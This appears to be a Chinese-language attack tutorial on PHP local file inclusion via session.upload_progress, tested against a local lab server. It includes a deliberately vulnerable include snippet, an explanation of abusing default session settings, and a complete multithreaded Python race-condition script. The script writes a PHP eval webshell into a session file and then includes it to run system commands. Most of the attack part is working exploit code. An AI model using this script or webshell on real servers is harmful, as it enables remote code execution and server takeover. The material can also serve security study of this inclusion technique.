Session.upload_progress進行檔案包含
適用情況
此方法適用於有檔案包含漏洞,但是包含的檔案做了限制或者不知道要包含什麼檔案,此種session方法就可以上傳webShell然後進行包含,此方法為檔案包含漏洞的擴充套件
測試環境
php5.5.38
win10
關於session相關的一切配置都是預設值
示例程式碼
<?php $b=$_GET['file']; include "$b"; ?>
可以發現,存在一個檔案包含漏洞,但是找不到一個可以包含的惡意檔案。其實,我們可以利用session.upload_progress
將惡意語句寫入session檔案,從而包含session檔案。前提需要知道session檔案的存放位置。
分析
問題一
我們要使用session的方法上傳惡意檔案,那麼原始碼中並沒有構造session的相關程式碼,我們傳上去的session應該不會被建立檔案並儲存吧
程式碼裡沒有session_start()
,如何建立session檔案呢
這個問題就要講另一個選項配置
其實,如果session.auto_start=On
,則PHP在接收請求的時候會自動初始化Session,不再需要執行session_start()。但預設情況下,這個選項都是關閉的。
但session還有一個預設選項,session.use_strict_mode預設值為0。此時使用者是可以自己定義Session ID的。比如,我們在Cookie裡設定PHPSESSID=TGAO,PHP將會在伺服器上建立一個檔案:/tmp/sess_TGAO”。即使此時使用者沒有初始化Session,PHP也會自動初始化Session。 併產生一個鍵值,這個鍵值有ini.get("session.upload_progress.prefix")+由我們構造的session.upload_progress.name值組成,最後被寫入sess_檔案裡。
所以我們上傳的時候設定一個PHPSESSID=xxxx prefix=惡意程式碼就可以了
問題二
但是問題來了,預設配置session.upload_progress.cleanup = on
導致檔案上傳後,session檔案內容立即清空,
那麼如何進行包含呢
利用條件競爭,不停的上傳Session檔案,然後就可以進行包含了
條件競爭的指令碼如下:
#coding=utf-8 import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('whoami');"} def write(session):while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data) if 'tgao.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in xrange(1,30): threading.Thread(target=write,args=(session,)).start() for i in xrange(1,30): threading.Thread(target=read,args=(session,)).start() event.set()